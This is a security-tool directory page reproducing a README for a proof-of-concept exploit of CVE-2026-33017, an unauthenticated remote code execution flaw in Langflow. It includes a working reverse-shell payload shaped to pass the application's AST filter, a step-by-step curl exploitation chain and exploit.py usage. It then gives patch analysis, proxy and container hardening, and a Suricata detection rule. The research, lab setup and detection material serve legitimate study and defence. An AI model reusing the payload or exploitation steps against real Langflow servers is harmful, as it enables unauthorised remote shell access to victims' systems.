Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33017 — Langflow <=1.8.1 中未认证 RCE 的 PoC 漏洞利用,包含源码级根因分析、AST 感知的反弹 shell 载荷、Docker 实验环境、补丁差异和检测规则。 | Kitploit
工具/GitHubGitHub/lxxexxbxx/cve-2026-33017
漏洞分析漏洞利用Web应用程序漏洞利用学习与教育Payload 开发实验室与实践
GitHublxxexxbxx/cve-2026-33017

CVE-2026-33017

Langflow <=1.8.1 中未认证 RCE 的 PoC 漏洞利用,包含源码级根因分析、AST 感知的反弹 shell 载荷、Docker 实验环境、补丁差异和检测规则。

查看仓库
116天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-33017 — Langflow 未授权 RCE PoC

免责声明
本仓库仅用于安全研究与教育目的。
请仅在隔离的实验环境中使用。
在未经授权的系统上使用,属于违反《信息通信网法》的行为,将受到刑事处罚。


1. 漏洞概述

项目内容
CVE IDCVE-2026-33017
受影响软件Langflow (AI 工作流构建器)
受影响版本Langflow ≤ 1.8.1
修复版本Langflow ≥ 1.9.0
漏洞类型未授权远程代码执行 (RCE)
CWECWE-306 (Missing Authentication for Critical Function)
CVSS9.3 (严重)
CISA KEV已收录

2. 漏洞成因分析

2-1. 存在漏洞的端点

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

这是用于构建 Public 流程的端点,设计上无需认证即可访问。

2-2. 代码执行路径 (Call Chain)

通过直接追踪源代码确认的执行路径:

root@kitploit:~
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← 클라이언트 입력 그대로 수신 (취약점)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← 클라이언트 data 그대로 전달
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← 임의 코드 실행

2-3. AST 节点过滤 — 载荷设计的关键约束

prepare_global_scope() 函数不会执行提交代码中的所有语句。 在 AST 解析后,仅筛选特定节点类型并执行:

root@kitploit:~
# lfx/custom/validate.py — prepare_global_scope() 내부
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ Expr 노드는 어디에도 포함되지 않음 → 실행 안 됨

exec(compiled_code, exec_globals)  # definitions만 실행

可执行的 AST 节点类型:

结论:载荷必须以 Assign 形式(_r = ...)编写才能被执行。
单独的函数调用(os.system("id"))会被归类为 Expr 节点,从而在过滤器中被筛除。

2-4. 反向 Shell 载荷设计过程 — 尝试与失败分析

在演练过程中尝试了多种载荷方式,并从源代码层面查明了各自失败的原因。

尝试 1 — subprocess.Popen + wait() (失败)

root@kitploit:~
_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← 여기서 블로킹

失败原因:Langflow 工作线程监视组件的返回值,
超时时强制关闭套接字。_proc.wait() 阻塞变得毫无意义。

尝试 2 — 直接调用 os.execve() (失败)

root@kitploit:~
os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

失败原因:根据 POSIX 规则,在多线程进程中调用 execve() 时,
除调用线程外所有线程都会终止 → uvicorn 工作进程整体崩溃 → HTTP 500。

尝试 3 — os.fork() + execve() (失败)

root@kitploit:~
_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

失败原因:uvicorn 检测到子进程异常退出,
从而重启工作进程 → HTTP 500。

尝试 4 — threading.Thread(daemon=True) (失败)

root@kitploit:~
threading.Thread(target=_shell, daemon=True).start()

失败原因:daemon=True 线程会在主线程 (Langflow 工作进程) 结束时
随之销毁。在尝试 connect() 之前线程就已终止。

最终有效的载荷 — threading.Thread(daemon=False) + Assign

root@kitploit:~
# FunctionDef → 실행됨
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → 실행됨 (Expr 단독 호출은 필터에서 제외되므로 반드시 변수 대입)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

选择 daemon=False 的原因:

  • daemon=True → 随 Langflow 工作线程结束而一同销毁
  • daemon=False → 与工作进程相互独立的生命周期 → 可维持套接字连接

3. 实验环境搭建

3-1. 文件结构

root@kitploit:~
CVE-2026-33017/
├── README.md
├── Dockerfile              # 취약 Langflow 1.8.1 환경
├── Dockerfile.attacker     # 공격자 컨테이너 (curl, nc, net-tools 포함)
├── docker-compose.yml      # 취약 서버 + 공격자 컨테이너
├── entrypoint.sh           # Langflow 기동 및 Public 플로우 자동 생성
├── exploit.py              # 리버스 쉘 PoC
└── poc.py                  # Blind RCE / 취약점 존재 확인

3-2. 启动环境

root@kitploit:~
# 1. 컨테이너 빌드 및 기동
docker compose up --build

# 2. Langflow Web UI 접속 확인
# http://localhost:7860
# admin / admin123!

# 3. 컨테이너 IP 확인
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

3-3. 网络拓扑

root@kitploit:~
┌──────────────────────────────────────────────────┐
│  Docker Bridge Network: poc-net                  │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (피해자)  │
│  langflow-attacker   172.19.0.3       (공격자)  │
└──────────────────────────────────────────────────┘

4. PoC 使用方法

4-1. exploit.py — 反向 Shell

在攻击者容器中执行:

root@kitploit:~
docker exec -it langflow-attacker bash

# 자동 모드 (토큰 발급 + Public 플로우 생성 + 내장 리스너 포함)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

选项:

预期输出:

root@kitploit:~
============================================================
  CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] 로그인 중... (admin)
[*] 토큰 발급 성공
[*] Public 플로우 생성 중...
[*] Flow ID    : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] 리스너 시작 → 0.0.0.0:4444
[*] 엔드포인트 : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] 콜백       : 172.19.0.3:4444
[*] 페이로드 전송 중...
[*] HTTP 응답  : 200

[+] 쉘 연결됨  ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)

4-2. poc.py — 盲 RCE 检测

仅在需要确认漏洞是否存在时使用:

root@kitploit:~
python3 poc.py \
  --url http://172.19.0.2:7860 \
  --cmd "id"

4-3. curl 手动复现

root@kitploit:~
# 1. 토큰 발급 + Public 플로우 생성
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=admin&password=admin123!' \
  | sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"

# 2. nc 리스너 (터미널 1)
nc -lvnp 4444

# 3. 페이로드 전송 (터미널 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H 'Content-Type: application/json' \
  -b 'client_id=poc-12345' \
  -d @/tmp/payload.json

5. exploit.py 与 poc.py 的角色区分


6. 补丁分析 — 1.8.1 vs 1.9.1

6-1. 漏洞代码 (1.8.1)

langflow/api/v1/chat.py:

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: FlowDataRequest | None = None,  # ← 클라이언트 입력 수신
    ...
):
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,   # ← 클라이언트 data 그대로 빌드 파이프라인에 전달
        ...
    )

6-2. 补丁代码 (1.9.1)

langflow/api/v1/chat.py (从源代码直接确认):

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    # data 파라미터 시그니처에서 완전 제거
    ...
):
    """
    Security Note:
    - The 'data' parameter is NOT accepted to prevent flow definition tampering
    - Public flows must execute the stored flow definition only
    - The flow definition is always loaded from the database
    """
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=None,            # ← 하드코딩 None, 클라이언트 입력 완전 차단
        source_flow_id=flow_id,  # ← DB에서만 플로우 정의 로드
        ...
    )

6-3. 补丁前后行为对比

6-4. 补丁设计评估

采用直接移除参数本身而非简单校验输入值的设计是正确的,理由如下:

root@kitploit:~
취약한 설계: 클라이언트 입력 → 검증 → 실행  (검증 우회 가능성 존재)
패치 설계:   클라이언트 입력 → 완전 무시
             DB 저장 플로우만 → 실행         (공격 경로 자체 제거)

7. 修复措施

措施 1 — 版本升级 (根本解决)

root@kitploit:~
pip install langflow==1.9.1

措施 2 — Nginx 反向代理阻止端点

文件位置:nginx.conf (新建)

root@kitploit:~
server {
    listen 80;

    # CVE-2026-33017 취약 엔드포인트 차단
    location ~ ^/api/v1/build_public_tmp/ {
        deny all;
        return 403;
    }

    location / {
        proxy_pass http://langflow:7860;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

注意:同时需要阻断 Langflow 7860 端口的外部直接暴露才能有效。

措施 3 — Apache 反向代理阻止端点

文件位置:

  • Ubuntu/Debian:/etc/apache2/sites-available/langflow.conf
  • CentOS/RHEL:/etc/httpd/conf.d/langflow.conf
root@kitploit:~
<Location "/api/v1/build_public_tmp/">
    Require all denied
</Location>

措施 4 — 不使用 Public 流程的策略

如果没有 Public 流程,端点将返回 404,攻击无法发起。
应通过运维策略禁止创建 Public 流程,或将现有流程改为 PRIVATE。

措施 5 — AWS 安全组 (网络层面)

以 EC2 环境为例:

root@kitploit:~
인바운드 규칙:
  포트 7860 → 허가된 IP만 허용 (0.0.0.0/0 제거)

措施 6 — 阻断容器出站流量 (阻止反向 Shell 回调)

即使 RCE 成功,也要阻断外部回调:

root@kitploit:~
# langflow 컨테이너 아웃바운드 차단
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP

或者 docker-compose.yml:

root@kitploit:~
langflow-vuln-lab:
  sysctls:
    - net.ipv4.ip_forward=0

措施 7 — 容器加固 (最小化损失)

root@kitploit:~
langflow-vuln-lab:
  security_opt:
    - no-new-privileges:true
  cap_drop:
    - ALL
  user: "1000:1000"
  read_only: true
  tmpfs:
    - /tmp

使用 seccomp 配置文件阻止危险 syscall (langflow-seccomp.json):

root@kitploit:~
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket", "connect", "fork", "execve"],
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}
root@kitploit:~
security_opt:
  - seccomp:./langflow-seccomp.json

修复措施汇总


8. 检测 — IoC

检测模式

可疑 HTTP 请求:

root@kitploit:~
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}

Langflow 服务器日志模式:

root@kitploit:~
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error]   Exception in worker process

Suricata/Snort 规则

root@kitploit:~
alert http any any -> any 7860 (
    msg:"CVE-2026-33017 Langflow RCE Attempt";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"/build_public_tmp/"; http_uri;
    content:"CustomComponent"; http_client_body;
    classtype:web-application-attack;
    sid:2026033017; rev:1;
)

9. 参考资料

  • NVD — CVE-2026-33017
  • EQSTLab/CVE-2026-33017
  • Langflow 官方补丁提交
  • CISA KEV
  • JFrog 安全研究

10. 与已有公开 PoC 的区别

本仓库并非简单执行 PoC,而是通过源代码级别分析进一步查明了以下内容:

  1. 发现 AST 节点过滤
    通过源码分析直接确认了 lfx/custom/validate.py 中的 prepare_global_scope() 会忽略 Expr 节点。由此查明了已有公开 PoC 中单独的函数调用载荷在此环境中失败的原因。

  2. 载荷失败原因分析
    从 uvicorn 多线程结构及 POSIX 规则的视角,分析了 Popen+wait(), execve(), fork()+execve(), daemon=True 线程等 4 种方式的失败原因。

  3. 直接确认补丁代码
    在源代码层面直接确认了 1.9.1 的 chat.py 中 data=None 硬编码及参数移除,并分析了补丁的设计意图。

下载工具
AST 节点类型示例是否执行
FunctionDefdef _shell(): ...✅ 执行
ClassDefclass ExploitComponent(Component)✅ 执行
Assign_r = os.system("id")✅ 执行
AnnAssign_r: int = os.system("id")✅ 执行
Expros.system("id") (单独调用)❌ 被忽略
选项说明默认值
--url目标 Langflow URL必填
--lhost反向 Shell 回调 IP必填
--lport反向 Shell 回调端口必填
--flow-idPublic 流程 UUID (省略时自动生成)自动
--user管理员 IDadmin
--password管理员密码admin123!
--no-listen禁用内置监听器 (使用外部 nc 时)False
--timeoutHTTP 超时 (秒)30
项目exploit.pypoc.py
目的获取反向 Shell确认漏洞是否存在 (盲 RCE)
结果确认直接通过攻击者终端服务器日志 / OOB
监听器内置不需要
多目标不支持支持 (--url-file)
演练用途证明影响范围证明漏洞存在
项目1.8.1 (存在漏洞)1.9.1 (已修复)
接收 data 参数✅ 接收❌ 从签名中移除
执行客户端节点定义✅ 可以❌ 不可以
流程定义来源客户端请求体仅数据库存储值
未授权 RCE✅ 成功❌ 已阻止
HTTP 响应200 + Shell 连接200 (空构建, 无节点)
措施类型效果
升级至 1.9.1根本解决移除 data 参数
Nginx/Apache 阻断访问阻断阻断攻击路径
不使用 Public 流程访问阻断端点返回 404
AWS 安全组网络阻断从源头阻断外部访问
阻断出站流量事后阻断阻止反向 Shell 回调
容器加固最小化损失阻止提权/syscall